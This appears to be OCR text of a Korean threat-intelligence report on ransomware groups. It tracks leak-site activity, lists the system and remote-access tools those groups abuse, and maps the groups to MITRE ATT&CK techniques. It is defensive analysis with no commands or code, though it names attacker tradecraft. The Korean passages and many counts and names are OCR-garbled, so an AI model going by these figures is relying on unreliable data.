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@BlackLock ® 22 days [ 20 count
gRanzy ® 22 days / 3 count

#CyClops ® 23 days ( 6 count
¢ Rook ® 33 days | 6 count
@& DoubleFace ™ 35 days / 4 count

& NullBulge ™ 35 days / 3 count
@ Grief ¥ 43 days ( 23 count

& Groove @ 45 days | 6 count
g Ransomed ™% 43 days [ 55 count
@ KelvinSecurity " 54 days [ 24 count
@ Sabbath " 55 days (13 count
@ Entropy ™ 55 days | 9 count

@ BlackMatter ¥ 57 days / 32 count
@Ako " 57 days (9 count

@ Qivlong S 54 days | & count
@ Bonaci " 54 days | 3 count
g Atomsilo W 55 days | 5 count
@ Raznatovic " 57 days (18 count
@ RedAlert @B 70 days | 6 count
gLlynx SR 74 days [ 31 count
@ Red W 75 days [ 16 count
g MadLiberator SR 73 days [ 14 count
@ WereWolves SR 73 days | 26 count
@ Synack SR 31 days /7 count
@ Pryx SR 39 days | 4 count

g Fog SR 97 days | 21 count
@ Astro SR 93 days [ 16 count

@ BrainCipher @R 95 days | 13 count
@ FreeCivilian S 102 days / 18 count

& CyberVolk S 104 days / 29 count
@ MalckTeam S {04 days /& count

@& Cicada3301 " 10§ days /32 count
@ Prometheus SR 109 days / 48 count

g Cheers SR 109 days / 9 count

@ Trinity SN 115 days /10 count
@ Dan0n S {31 days / 20 count
@ ElDorado "R 131 days / 28 count
@APT7] S 177 days [ 156 count
gRancoz SR 134 days /6 count
& Endurance S 133 days [ 28 count
@Arcus S 133 days /356 count
@ SpaceBears W 137 days / 32 count
@ DarkVau|t SN 140 days / 45 count
@ Cooming S 151 days / 20 count

@ Knight S 155 days /47 count
gHotarys S 156 days [ 4 count

$Hades S 160 days / 5 count
#Midas S 160 days / 39 count

@ FSociety S 151 days /13 count

@ Underground S 153 days /17 count
@ BlackTor TS 155 days /4 count

@ Embargo S 166 days / 13 count
#Onyy S 165 days / 15 count

@ NoEscape NS 176 days /123 count
@ XingLocker TS 151 days / 23 count

@ Dispossessor S 154 days [ 19 count
@ AlphaLocker TS 199 days [ 13 count



@ Babul TS () days [ 47 count
@ PayloadBin S ;71 days [ 28 count
@ Nokoyawy NS ;4 days [ 36 count
@ SiegedSec TS ;7 days (43 count
@ BlackQut S 4 days [ § count
@ Ragnarok NS 7 days [ 36 count
gRansomHub TS 40 days (316 count

@ Roya| TS 50 days [ 200 count
@ DarkSide TEEEN———— 70 days (98 count

@ Avaddon S 04 days (182 count

gHandala S 05 days [ T4 count
@ DragonForce S 07 days /101 count
@ Pay2Key TS G{() days [ 7 count

@ Meow TS GG days (120 count
¢ Maze T 5 days [ 266 count
g Killsec T 5 days (56 count
@ Trigona S 15 days /54 count
@ Karakurt S 15 days (77 count
@ Hunters S 52 days (206 count
@ MetaEncryptor S 77 days [ 27 count
& Netwalker S 50 days (144 count
@ CiphBit . - 56 days /21 count
g Unsafe S 00 days /13 count
#3ANM . 0 days (39 count
@ DarkBit T 05 dgys 4 count
@ Clogk . ()0 days [ 68 count
@ Inc T {0 days (172 count
@ DoppelPaymer T 1 days [ 204 count
@ Cactys S 7 days (177 count
& Quantum . {57 days [ 66 count
@ RaGroyp S 57 days /57 count
@ MoneyMessage T 50 days [ 23 count
g DarkAngels T G days /17 count
@ IntelBroker T 7 dgys (137 count
@ Nefilim S 55 days /41 count
& MountLocker TE——— 505 days | 20 count
@ Bloody TS 505 days (17 count
# Rhysida S 508 days (1561 count
@ BlackSuit TS 509 days (124 count
Akira TS 505 days (339 count
& Monti S 5.3 days (64 count
#0mega TS 551 days (6 count
@ Abyss T 572 days | 62 count
@ Hive S 573 days (202 count
@ Medusa TN 511 days [ 318 count
& Ly S 531 days (101 count

& Mallox T 42 days (49 count
@ AvosLocker T 573 days (125 count
& SunCrypt S 37 days [ 42 count

& Play T 91 day's [ 626 count
& Pysq T 506 days [ 309 count

& Donut T 71 days [ 33 count
days | 17 count

& Qilin T 728 days [ 179 count
& Vice Socicty TN 755 days (181 count

@ Daixin S — T 20

@ HelloKitty T 772 days | 4 count

& BlackCat(Alphy) T 507 days | 724 count
@ BianLian S 05 days (411 count
S ArvinClub S 7S day's (31 count
 Conti S C 51 day's [ 764 count

@ RansomHouse TS 555 days (108 count

@ BlackBasta S 002 days (477 count

@ 3Basc TN 005 day's / 420 count
& Revil T 030 day's [ 298 count
@ Stormous S 037 days [ 105 count
@ Lorenz S 1 064 days [ 80 count

@ BlackByte S 1 093 days [ 135 count

# Medusalocker 1100 days / 41 count
@ RagnarLocker 1218 days / 85 count
@ RansomExx 1385 days / 64 count
@ Everest 1406 days [ 139 count
1 (C 1l 1453 days / 9 count
& Loc kB it 1451 daye [ 2791 count
& C o) e 1 512 day's [ 540 count
. Sniatc S 1 542 day's / 148 count
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fegeyeie._________________________________________________JIHj days ]'2']9] count

881days /764 count
@ BlackCat(Alphy) co—————————— {07 days / 724 count

689 days / 623 count

@ Conti

@ Play

@ Clop 1512 days / 540 count
© BlackBasta CEEEEEES 703 days / 477 count

@ 8Base G 705 days / 420 count

@ BianLian CEEEEEEEE 317 days / 408 count

@ Akira S 489 days [ 623 count

© RansomHub e 748 days /315 count

@ Meoduysa S (09 days [ 314 count

@ Pysa G 881 days /764 count

@ Revil oSS (30 days / 298 count

@ Maze o 335 days [ 266 count

@ Hunters CEEEEEEEEES 358 days / 204 count

@ DoppelPaymer CEEE——— /| days / 204 count

@ Hive s 573 days /202 count

@ Royal e 759 days / 200 count

@ ViceSociety s 758 days /181 count

@ Qilin S 728 days [ 179 count

@ Cactus O /.7 days /177 count

@ Inc O /29 days /172 count

@ Malas @ 1days /171 count

© Rhysida S 503 days /149 count

© S natc S |8 /,2 days [ 148 count
@ NetWalker o 337 days /144 count

© Evero: i — ()6 days /139 count
@ IntelBroker cn————— /29 days /172 count

@ BlackByte CHES 1093 days /135 count
@ AvosLocker smmmm——— (73 days /125 count

@ BlackSuit c—— 509 days /124 count

@ NoEscape emmmmmm® 176 days /123 count

© Meow eo—————— /29 days /172 count

@ RansomHouse G 385 days /108 count

© Stormous G 937 days /105 count

¢ Ly EEEEE—— (3] days /101 count

© DragonForce enm— 307 days /101 count
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LotL(Living off the Land) S40l= O =FE ALESt=X|?

BCDEdit, BITSAdmin, CMD, eventvwr.exe, fodhelperexe, Minidump, net.exe, netsh.exe, NTDS
Utility, PAExec, PowerShell, ProcDump, Process Explorer, Process Hacker, PsExec, sc.exe,

schtasks.exe, taskkill.exe, wevtutil.exe, WinExe, WMIC, wusa.exe

4 e =75 X 2n FHoz 48t X7 HE, X[EHY /A, F7HEQU 4EH
E Qo ¥ Y o 59 FHo=z AbEsict MY ol AE0| YESE RMM EF
= Ch2at 2ot

Action1, AnyDesk, Atera, ASG Remote Desktop, BeAnywhere, Chrome Remote Desktop,
Domotz, DWAgent, eHorus, FixMelt, Fleetdeck, GoToAssist, ITarian, Level.io, LogMeln,
ManageEngineRMM, MeshAgent, MobaXterm, N-Able, NetSupport, NinjaOne, Parsec, PDQ
Deploy, PowerAdmin, Pulseway, Radmin, Remote Manipulator System (RMS), RemotePC,
RemoteUtilities, RPort, RSAT, RustDesk, ScreenConnect, SimpleHelp, Sorillus, Splashtop,
SuperOps, Supremo, Syncro, TacticalRMM, TeamViewer, TightVNC, TrendMicro Basecamp,

Twingate, ZeroTier, ZohoAssist
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Active Scanning

Phishing for Information

Gather Victim Org Information
Gather Victim Identity Information
Search Open Technical Databases
Gather Victim Network Information
Gather Victim Host Information
Search Open Websites/Domains
Acquire Infrastructure

Obtain Capabilities

Develop Capabilities

Compromise Infrastructure

Stage Capabilities

Establish Accounts

Acquire Access

Compromise Accounts

Phishing

Valid Accounts

Exploit Public-Facing Application
Replication Through Removable Media
External Remote Services
Drive-by Compromise

Supply Chain Compromise
Trusted Relationship

Hardware Additions

Command and Scripting Interpreter
Shared Modules

Windows Management Instrumentation
Native API

System Services

User Execution

Inter-Process Communication
Software Deployment Tools
Exploitation for Client Execution
Boot or Logon Autostart Execution
Create or Modify System Process
Scheduled Task/Job

Create Account

Browser Extensions

Event Triggered Execution

Account Manipulation

Server Software Component

Boot or Logon Initialization Scripts
Pre-OS Boot

BITS Jobs

Implant Internal Image

Access Token Manipulation

Abuse Elevation Control Mechanism
Exploitation for Privilege Escalation
Domain Policy Modification
Obfuscated Files or Information
Indicator Removal

Impair Defenses
Virtualization/Sandbox Evasion
Masquerading

Process Injection

Hide Artifacts

Hijack Execution Flow

File and Directory Permissions Modification
Modify Registry

Deobfuscate/Decode Files or Information
System Binary Proxy Execution
Indirect Command Execution

Subvert Trust Controls

Debugger Evasion

Trusted Developer Utilities Proxy Execution
Reflective Code Loading

Execution Guardrails

Exploitation for Defense Evasion
Rogue Domain Controller

Template Injection

Direct Volume Access

Modify Cloud Compute Infrastructure

p3
p3
2
2
1
1
18
14
10
8
p3
2
2
1
67
61
43
28
28
10
8
4
1
56
44
44
40
18
9
6
72
52
17
14
12
11
7
5
4
2
1
42
27
17
12
55
49
47
43
33
15
1
9
7
5
5
3
3
2

17

78

76

a0

Reconnaissance
Resource Development
Initial Access

Execution

98
@ Persistence

@ Privilege Escalation

@ Defense Evasion

201
144
130
121
112

205



OS Credential Dumping

Input Capture

Unsecured Credentials
Credentials from Password Stores
Brute Force

Multi-Factor Authentication Interception
Forced Authentication

Steal or Forge Kerberos Tickets
Network Sniffing

Steal Web Session Cookie
Adversary-in-the-Middle

Modify Authentication Process
Exploitation for Credential Access
System Information Discovery
File and Directory Discovery
Software Discovery

Process Discovery

Network Share Discovery

Query Registry

Remote System Discovery
Account Discovery

Peripheral Device Discovery
System Network Configuration Discovery
System Service Discovery
Application Window Discovery
Systemn Owner/User Discovery
System Location Discovery
Permission Groups Discovery
Network Service Discovery
System Network Connections Discovery
System Time Discovery

Dornain Trust Discovery

Browser Information Discovery
Group Policy Discovery

Remote Services

Lateral Tool Transfer

Taint Shared Content
Exploitation of Remote Services
Use Alternate Authentication Material
Remote Service Session Hijacking
Internal Spearphishing

Data from Local System

Archive Collected Data

Data Staged

Browser Session Hijacking
Screen Capture

Email Collection

Clipboard Data

Automated Collection

Data from Network Shared Drive
Data from Information Repositories
Data from Cloud Storage

Audio Capture

Video Capture

Application Layer Protocol
Proxy

Ingress Tool Transfer

Encrypted Channel
Non-Application Layer Protocol
Remote Access Software

Web Service

Non-Standard Port

Data Obfuscation

Protocol Tunneling

Data Encoding

Dynamic Resolution

Multi-Stage Channels

Fallback Channels

50
48

48

28
25
21
4
4
4
3
P3
p3
1
1
42
40
38
37
36
32
26
23
21
17
15
13
2
1
17
17
"
"
6
2
46
20
16
15
14
13
13
13
9
6
4
2
38
36
16
14
"
9
8
5
5
2
2

52

63

18

70

il

kil

108

@ Credential Access

Discovery

135
131
127

Lateral Movement
Collection

Command and Control



Exfiltration Over Web Service
Exfiltration Over C2 Channel
Exfiltration Over Alternative Protocol
Automated Exfiltration

Transfer Data to Cloud Account
Data Transfer Size Limits
Exfiltration Over Other Network Medium
Scheduled Transfer

Data Encrypted for Impact
Inhibit System Recovery
Service Stop

Data Destruction

Defacement

System Shutdown/Reboot
Account Access Removal
Resource Hijacking

Endpoint Denial of Service
Network Denial of Service
Financial Theft

Disk Wipe

Data Manipulation

Eal
29

85
60
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Reconnaissance

Active Scanning(12)

| @ Active Scanning(T1595)
. BARWL HEY 27442 S £

o Ex>host, nslookup, dnsenum, fping, nmap &

8Base, Toufan, Avaddon, Karakurt, Rhysida, Shadow

o Scanning IP Blocks(T1595.001)

Hive, RobinHood

o Vulnerability Scanning(T1595.002)

BianLian, Hive, Nefilim, BlackByte

o Wordlist Scanning(T1595.003)

| © Phishing for Information(T1598)

o Od= ALED

g

% ool Yo

i

Saeict

o Bx> Al2|ESVI®, o0 Y, MAIX] = CHE =t =T S

o

Gather Victim Org Information(3)

8Base, BlackCat(Alphv), RansomExx, BlackByte, Rhysida, Unsafe

o Spearphishing Service(T1598.001)

o Spearphishing Attachment(T1598.002)
Daixin

o Spearphishing Link(T1598.003)

o Spearphishing Voice(T1598.004)
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| ©® Gather Victim Org Information(T1591)

. Ex> SNS, BIAIO|E ZHM 5
Conti, Karakurt, Trigona
o Determine Physical Locations(T1591.001)
o Business Relationships(T1591.002)
o ldentify Business Tempo(T1591.003)

o Identify Roles(T1591.004)

Resource Development

Acquire Infrastructure(18)

Develop Capabilities(10)

| @ Acquire Infrastructure(T1583)

. 27 N2 ZHSY| Y Tas olmat 9 AEQ msly| 9o Amets sEsi)

« B 22H 52 22RE MY, =0 8 @ MH[A S
8Base, Maze, RansomExx, Toufan, Conti, Karakurt, Rhysida, Shadow, Trigona, Unsafe
o Domain(T1583.001)

o DNS Server(T1583.002)

RansomExx, Unsafe

o Virtual Private Server(T1583.003)

Snatch

o Server(T1583.004)

RansomHouse
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Botnet(T1583.005)

RansomExx, Snatch, Unsafe

Web Service(T1583.006)

Hive

Serverless(T1583.007)

Malvertising(T1583.008)

| @ Obtain Capabilities(T1588)

Z4
e

oot Okl

° EX>

AP7F WRE 7152 XAMHOR JjEsixl em
o DE RS
oLYIE, ATEQ O, 2H0| M2, Exploit, AT A,

Bloody, Maze, RansomExx, Conti, Trigona, Unsafe

Malware(T1588.001)

RansomHouse, Hades, ZeroTolerance

Tool(T1588.002)

Lorenz, MosesStaff

Code Signing Certificates(T1588.003)

Digital Certificates(T1588.004)

Unsafe

Exploits(T1588.005)

Bloody

Vulnerabilities(T1588.006)

Bloody

Artificial Intelligence(T1588.007)
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| ©® Develop Capabilities(T1587)
o SAXII ERY 7SS AHEH2EZ o) ARttt
« B> #HAO, B2 RE & 200 OdE flo ML A S
8Base, Maze, Conti, Karakurt, MosesStaff, Rhysida, Shadow, Trigona
o Malware(T1587.001)
BianLian
o Code Signing Certificates(T1587.002)

o Digital Certificates(T1587.003)

Sabbath

o Exploits(T1587.004)

Initial Access

Phishing(67)

Exploit Public-Facing Application(43)

| @ Phishing(T1566)

A8 54 Hds 50 A8S EFotAL A28 B2 7tsst=E A8

=
ne
%

NSE o8¢t HAIX| HE, S ?I=3

==

LockBit, Daixin, BianLian, BlackCat(Alphv), Hades, Maze, Karma, RansoméExx, ViceSociety,
AvoslLocker, Hive, Akira, BlackSuit, Cuba, Atomsilo, Medusalocker, Medusa, Play, Snatch,
OxFFF, BlackMatter, Abyss, CrossLock, Conti, DarkSide, HelloKitty, Karakurt, Knight,
MindWare, MosesStaff, Rhysida, Shadow, Stormous, SunCrypt, Synack, SenSayQ, Trigona,
Trinity, Unsafe, X001xs, CyberVolk

o  Spearphishing Attachment(T1566.001)

8Base, BianLian, Clop, Royal, Hive, Revil, Akira, BlackSuit, BlackBasta, Medusalocker,
3AM, Avaddon, Karakurt, SolidBit, SpaceBears, Sparta, Trisec, Vfokx, Yanluowang,

ZeroTolerance
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o

o

o

Spearphishing Link(T1566.002)
Mallox, BianLian, Royal, Akira, BlackSuit, Synapse
Spearphishing via Service(T1566.003)

Spearphishing Voice(T1566.004)

| ©® Valid Accounts(T1078)

. 71E Aol [HH 5y Hs st

ocoo= &

. Bo THOIL HE S ANICE S R Y AN, RS 0Y 3Hg So
2 7y, claug Sof 7Y AW FE S

LockBit, Mallox, Daixin, BianLian, BlackCat(Alphv), Hades, Clop, Maze, RansomExx,
ViceSociety, AvosLocker, Hive, Akira, IntelBroker, BlackSuit, Cuba, BlackBasta, Cheers,
Medusalocker, Medusa, Play, Snatch, ProlLock, BlackMatter, Conti, Karakurt, Lapsus$,
Synapse, RansomCartel, Rhysida, Shadow, SpaceBears, Sparta, Spook, SunCrypt, Synack,
SenSayQ, Trigona, Trinity, Unsafe, Vfokx, Yanluowang, Zeon

Default Accounts(T1078.001)

LockBit

Domain Accounts(T1078.002)

RansomHouse, Lv, Royal, Akira, Qilin, BlackSuit, Medusalocker, Snatch, BlackByte,
Groove, Lapsus$

Local Accounts(T1078.003)

Cuba, BlackByte, Lapsus$, Vfokx

Cloud Accounts(T1078.004)

RansomExx, Lapsus$

| @ Exploit Public-Facing Application(T1190)

. X

& 53t AR HoHE o8

gt

ol 52 S FotCt.

—

o Bx> TXE|X| @2 Fofet A[AH, FAHO| FHE WE2AHOME A8t Al2” &

LockBit, Mallox, Daixin, BianLian, RansomHouse, BlackCat(Alphv), Clop, Bloody, Nokoyawa,

Karma, Lv, RansomExx, Royal, ViceSociety, AvosLocker, Hive, Akira, IntelBroker, BlackSuit,
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Cuba, HolyGhost, Pay2Key, Lorenz, Cheers, Play, Cerber, BlackByte, Avaddon, Cactus, Conti,
EchOraix, Groove, Karakurt, Knight, Lapsus$, MosesStaff, Prometheus, Rhysida, Shadow,
Trigona, Trisec, Unsafe, Zeon

Execution

Command and Scripting Interpreter(205)
Execution7) C snamaMocwesms

Windows Management Instrumentation(56)

I @ Command and Scripting Interpreter(T1059)

Ao EXsts B0, 238E S5 83l SHAI ~Hote 7Is

mjo
n>
o
rot
_ITl_

Ex> PowerShell, Windows cmd, Visual Basic, Python, Shell &

e}

e}

(e]

LockBit, 8Base, BianLian, RansomHouse, BlackCat(Alphv), Hades, Clop, IceFire, Bloody, Maze,
Nokoyawa, Karma, RansomExx, AvoslLocker, BlackShadow, Hive, Hunters, Akira, Qilin,
ChileLocker, BlackSuit, DarkBit, Nefilim, Nemty, Inc, Pandora, Pay2Key, Rook, Lorenz
BlackBasta, Play, NoName, Snatch, Underground, Cloak, OxFFF, 3AM, Lambda, BlackOut,
Abyss, Astro, Avaddon, Babuk, BabyDuck, Embargo, CrossLock, CryLock, CryptBB, Risen,
IkaruzRedTeam, Conti, CyClops, DarkAngels, DarkPower, DarkRace, Diavol, Donex,
DoppelPaymer, DragonForce, EchOraix, Exorcist, FSociety, Groove, Haron, HelloKitty, Karakurt,
Knight, BrainCipher, ElDorado, Fog, LostTrust, MetaEncryptor, GoodDay, Midas,
MoneyMessage, MosesStaff, MountLocker, NetWalker, Nevada, Synapse, Prometheus,
Quantum, RaGroup, Rancoz, RansomHub, Relic, Rhysida, Shadow, Spook, Stormous, Sugar,
SunCrypt, Synack, SenSayQ, Lynx, NullBulge, Trigona, Trinity, Unsafe, XingLocker, Xinof,

X001xs, Yanluowang, Zeon
PowerShell(T1059.001)

AppleScript(T1059.002)

RansomExx, Akira, Snatch

Windows Command Shell(T1059.003)
LockBit, Mallox, BianLian, BlackCat(Alphv), Hades, Clop, Bloody, Maze, Lv, RansomExx,
ViceSociety, Hive, Revil, Akira, ChileLocker, BlackSuit, Cuba, HolyGhost, Nemty,
RagnarlLocker, Atomsilo, BlackBasta, Medusa, Snatch, Everest, Underground, Babuk,
Cactus, DarkRace, Donex, Exorcist, Lapsus$, Synapse, Quantum, RansomCartel,

RansomHub, Rhysida, RobinHood, Trigona, Trisec, Unsafe
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o Unix Shell(T1059.004)

RansomHouse, RansomExx, Cheers, Cerber, Lapsus$, RobinHood

o Visual Basic(T1059.005)

RansomExx, Revil, Snatch

o Python(T1059.006)

GhostSec, RansomExx, Snatch, Unsafe, Zeon

o JavaScript(T1059.007)

RansomExx, Snatch, Avaddon, Unsafe

o Network Device CLI(T1059.008)
o Cloud API(T1059.009)

o AutoHotKey & AutolT(T1059.010)

| @©® Shared Modules(T1129)

. DLW} 22 BEE £ QEAA EE NS HAE ETE ASY 32

o

Sasict

« Ex> Metasploit, Cobalt Strike, Empire, 2 E AA SA/AE HAE & XA 7iEst =4 &
LockBit, 8Base, IceFire, Karma, RansomExx, BlackShadow, Hive, Hunters, Qilin, BlackSuit,
Cuba, Nemty, NightSky, Inc, Pandora, RagnarLocker, Atomsilo, Lorenz, BlackBasta, NoName,
Snatch, Underground, Cloak, Lambda, BlackOut, Abyss, Ako, Babuk, BabyDuck, BlueSky,
Cactus, CrylLock, CryptBB, lkaruzRedTeam, DarkAngels, DarkPower, DarkRace, DarkSide,
Diavol, Donex, DoppelPaymer, Exorcist, FSociety, HelloKitty, Knight, Fog, LostTrust, Meow,
MetaEncryptor, GoodDay, MoneyMessage, MyDecryptor, Nevada, Synapse, PayloadBin,
RRansom, RaGroup, Ragnarok, Rancoz, Rhysida, RobinHood, Shadow, Stormous, Sugar,

SunCrypt, Synack, Lynx, Trinity, Unsafe, Xinof, Yanluowang, Zeon, RTMLocker, CyberVolk

| @ Windows Management Instrumentation(T1047)

=

o WMISt 43588 & As MELE 5 0|83 42X Y 8 HOo|ZEE HAICL

rir

o Ex> PowerShell, wmic.exe, WSH language(VBS, JScript), winrm.exe &
LockBit, BianLian, BlackCat(Alphv), Maze, RansomExx, ViceSociety, BlackShadow, Hive,

Hunters, Revil, Akira, ChileLocker, BlackSuit, Nemty, Lorenz, BlackBasta, Cheers, Ranion,
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Medusalocker, Medusa, Play, ProlLock, Lambda, BlackMatter, Abyss, Avaddon, Cactus,
CryptNet, lkaruzRedTeam, Conti, DarkPower, DarkRace, Donex, Haron, HelloKitty, EIDorado,
LostTrust, MoneyMessage, MountlLocker, Synapse, NoEscape, Prometheus, Quantum,
RansomHub, Relic, Spook, Sugar, SunCrypt, Trisec, Trinity, XinglLocker, Xinof, Zeon,
RTMLocker

Persistence

Boot or Logon Autostart Execution(98)
Persistence(222)  Create or Modify System Process(72)

Scheduled Task/Job(52)

| @ Boot or Logon Autostart Execution(T1547)

. AlAH S % 212 ZRIAS IS0 MM NSHS SA}LE st

« Ex> Windows BX|2E2| &5, &Y 2AEY S
LockBit, 8Base, Monti, BlackCat(Alphv), Clop, IceFire, RansomExx, AvosLocker, BlackShadow,
Hive, Hunters, DarkBit, Nemty, Medusalocker, Medusa, Play, Cerber, BlackOut, CrossLock,
Conti, DarkSide, Karakurt, Knight, Synapse, Rhysida, Shadow, Stormous, Trigona, Unsafe,

Zeon
o Registry Run Keys / Startup Folder(T1547.001)

LockBit, Mallox, 8Base, BianLian, Maze, Karma, Lv, RansomExx, ViceSociety, Hunters,
Qilin, ChileLocker, BlackSuit, DarkBit, NightSky, Pandora, RagnarLocker, Atomsilo,
Lorenz, Ranion, Snatch, WarlockDarkArmy, BlackMatter, BlackOut, Ako, Avaddon,
Babuk, Embargo, CrylLock, lkaruzRedTeam, DarkAngels, Diavol, HelloKitty, Lilith,
Moisha, NetWalker, Nevada, Onyx, Prometheus, Pysa, RaGroup, RansomCartel, Rhysida,
RobinHood, SolidBit, Spook, Stormous, Trigona, Xinof, Zeon, RTMLocker

o Authentication Package(T1547.002)

o Time Providers(T1547.003)

o  Winlogon Helper DLL(T1547.004)
LockBit, Spook

o  Security Support Provider(T1547.005)

o Kernel Modules and Extensions(T1547.006)

IceFire, RansomExx, Avaddon, Unsafe
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o Re-opened Applications(T1547.007)
o LSASS Driver(T1547.008)
DoppelPaymer

o Shortcut Modification(T1547.009)

LockBit, Mallox, BianLian, Nemty, BlackOut, lkaruzRedTeam, DoppelPaymer,
Prometheus

o Port Monitors(T1547.010)

o  Print Processors(T1547.011)

o XDG AUtostart Entries(T1547.012)
o Active Setup(T1547.013)

o Login Items(T1547.014)

LockBit

| ©® Create or Modify System Process(T1543)
. X&H SXE Y| Al UBOR ZRHAS SXE & YRS ML SHBICL

o Ex> MH|A SE, Systemd S8, U2 S8 &
LockBit, Hades, IceFire, Nokoyawa, BlackShadow, Hive, Nemty, BlackByte, Risen,
IkaruzRedTeam, Conti, DragonForce, Karakurt, Knight, BrainCipher, Shadow, SunCrypt,

Trigona, Zeon
o Launch Agent(T1543.001)

o Systemd Service(T1543.002)

IceFire, EchOraix

o  Windows Service(T1543.003)
LockBit, BlackCat(Alphv), Hades, Clop, Karma, ViceSociety, Hive, Hunters, Qilin,
ChileLocker, BlackSuit, Cuba, Nemty, RagnarLocker, BlackBasta, Everest, Underground,
3AM, Lambda, Abyss, Astro, Babuk, BabyDuck, Risen, lkaruzRedTeam, DagonLocker,
DarkAngels, DarkRace, DarkSide, Donex, DoppelPaymer, DragonForce, Grief, Haron,
Knight, BrainCipher, Fog, LostTrust, MoneyMessage, MountLocker, Nevada, Synapse,

NoEscape, Prometheus, Quantum, RaGroup, Ranzy, Lynx, Zeon, RTMLocker
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o Launch Daemon(T1543.004)

o Container Service(T1543.005)

| @ Scheduled Task/Job(T1053)

. RSN RXIS S HY AAZYS A8 AL AT Al EE OorE WAoz 21
g umsiCt,

o Ex> 2AHEY S5, systemd.timer &
LockBit, 8Base, GhostSec, BlackCat(Alphv), IceFire, Maze, Karma, RansomExx, ViceSociety,
BlackShadow, Hive, Qilin, Nemty, Pay2Key, Snatch, WarlockDarkArmy, 3AM, ProLock, Cactus,
CrossLock, CryptNet, Risen, Conti, Haron, Karakurt, NetWalker, Prometheus, Shadow, Unsafe,

XingLocker, Xinof
o At(T1053.001)

o Cron(T1053.002)

LockBit

o Scheduled Task(T1053.003)
o  Systemd Timers(T1053.004)

o Container Orchestration Job(T1053.005)
LockBit, BianLian, BlackCat(Alphv), Maze, ViceSociety, BlackShadow, Hive, Akira, Qilin,
Nemty, Lorenz, BlackByte, Lambda, Cactus, DarkRace, Donex, Haron, Prometheus,

Quantum

Privilege Escalation

Access Token Manipulation(42)

Exploitation for Privilege Escalation(17)

| @ Access Token Manipulation(T1134)

o AN EFS ALEY MY T ZEM2o 4R[S B, EES AR MER Z=2
Mg 488 =2 Aets 2558 EES AT
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LockBit, BlackCat(Alphv), BlackShadow, Hive, Hunters, BlackSuit, Cuba, Pandora, Rook,
BlackByte, BlackOut, Astro, Babuk, IkaruzRedTeam, DagonLocker, DoppelPaymer, Exorcist,
LostTrust, MetaEncryptor, MoneyMessage, MountLocker, Quantum, Shadow, SunCrypt, Lynx,
Trinity, XingLocker, Yanluowang

o Token Impersonation/Theft(T1134.001)

LockBit, 8Base, RansomExx, Hive, Hunters, Revil, HolyGhost, BlackMatter, DagonLocker,
Synapse, Unsafe

o Create Process with Token(T1134.002)

BlackCat(Alphv), Revil

o Make and Impersonate Token(T1134.003)

o Parent PID Spoofing(T1134.004)

LockBit

o SID-History Injection(T1134.005)

| @©® Abuse Elevation Control Mechanism(T1548)

. W 452 HoBte HAHUSS Leet0] O &2 £F0| HO2 YSe| AN WS 4Y
st

o B> AR AE HEE R3], MEXNUA XH = 2E S

LockBit, RansomExx, BlackSuit, Pandora, Rook, Embargo, Risen, Conti, Donex, ElDorado,

Shadow, Stormous, Unsafe, CyberVolk
o Setuid and Setgid(T1548.001)

o Bypass User Account Control(T1548.002)

BlackCat(Alphv), BlackSuit, Ranion, Medusalocker, Medusa, 3AM, BlackMatter,
Avaddon, CrossLock, Risen, Rhysida

o Sudo and Sudo Caching(T1548.003)
o Elevated Execution with Prompt(T1548.004)
o Temporary Elevated Cloud Access(T1548.005)

o TCC Manipulation(T1548.006)
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I ©® Exploitation for Privilege Escalation(T1068)

. BEX HSEC O £ AlA" Aoz MMEE 29 HH TA 84 U AmEY ol
HorEe ofgs| AlAH A2 EStr)

« Ex> BYOVD(Bring Your Own Vulnerable Driver): StEQI 32 KX F A4St E20|H &S
ore
-1 O

Clop, Bloody, Nokoyawa, RansomExx, ViceSociety, Hive, IntelBroker, Cuba, Play, Snatch,

Conti, Lapsus$, RansomCartel, Rhysida, Shadow, Trigona, Unsafe

Defense Evasion

Obfuscated Files or Information(201)
Defense Evasion(475)  IndicatorRemoval(1es)

Impair Defenses(130)

I ©® Obfuscated Files or Information(T1027)

[ ]
>
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Al 2%t HojlH2] 52 ZE S =g}, URY, U5 32 7|EE MEN EXIE

|ojot 245171 oA THEL.
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LockBit, 8Base, GhostSec, Monti, RansomHouse, BlackCat(Alphv), Hades, IceFire, Bloody,
Maze, Nokoyawa, Karma, RansomExx, Toufan, AvosLocker, BlackShadow, Hive, Hunters,
Akira, Qilin, IntelBroker, BlackSuit, Cuba, Nemty, Inc, Pandora, RagnarLocker, Rook, Atomsilo,
Lorenz, BlackBasta, Cheers, Ranion, Play, NoName, Cerber, Snatch, Underground, Cloak,
3AM, Lambda, BlackMatter, BlackOut, Abyss, Ako, Astro, Avaddon, Babuk, BabyDuck,
BlueSky, Cactus, CryLock, CryptBB, CryptNet, Risen, lkaruzRedTeam, Conti, CyClops,
Dagonlocker, DarkAngels, DarkPower, DarkRace, DarkSide, Donex, Donut, DoppelPaymer,
DragonForce, Entropy, Exorcist, FSociety, Haron, HelloKitty, Karakurt, Knight, BrainCipher,
Fog, Lolnek, LostTrust, Meow, MetaEncryptor, GoodDay, MoneyMessage, MosesStaff,
MountLocker, MyDecryptor, NetWalker, Nevada, Synapse, NoEscape, Onyx, PayloadBin,
Prometheus, Pysa, Quantum, RRansom, RaGroup, Ragnarok, Rancoz, RansomCartel, Ranzy,
Rhysida, RobinHood, Sabbath, Shadow, SolidBit, Stormous, Sugar, SunCrypt, Synack,
SenSayQ, Lynx, NullBulge, Trigona, Trinity, Unsafe, Xinof, X001xs, Yanluowang, Zeon,
RTMLocker, CyberVolk

o Binary Padding(T1027.001)

Mallox, BianLian, Maze

32



o  Software Packing(T1027.002)
LockBit, 8Base, BianLian, BlackCat(Alphv), Clop, Lv, Hive, BlackSuit, HolyGhost, Nemty,
Pandora, Rook, Atomsilo, Ranion, Snatch, BlackByte, Babuk, Cactus, CryptBB, CryptNet,
Risen, IkaruzRedTeam, DarkRace, DarkSide, Donex, DoppelPaymer, FSociety, Lapsus$,
PayloadBin, RobinHood, Sabbath, SolidBit, Spook, SenSayQ, Lynx, Zeon

o Steganography(T1027.003)
o Compile After Delivery(T1027.004)

o Indicator Removal from Tools(T1027.005)
IceFire, Qilin, BlackSuit, RagnarLocker, Rook, Underground, Cloak, Abyss, Babuk,
BlueSky, lkaruzRedTeam, DarkAngels, DarkRace, Donex, Exorcist, Fog, LostTrust, Meow,
MetaEncryptor, GoodDay, MoneyMessage, MyDecryptor, RRansom, Rhysida, SolidBit,
Synack, Trinity, Xinof

o HTML Smuggling(T1027.006)
o Dynamic API Resolution(T1027.007)
o Stripped Payloads(T1027.008)
o Embedded Payloads(T1027.009)
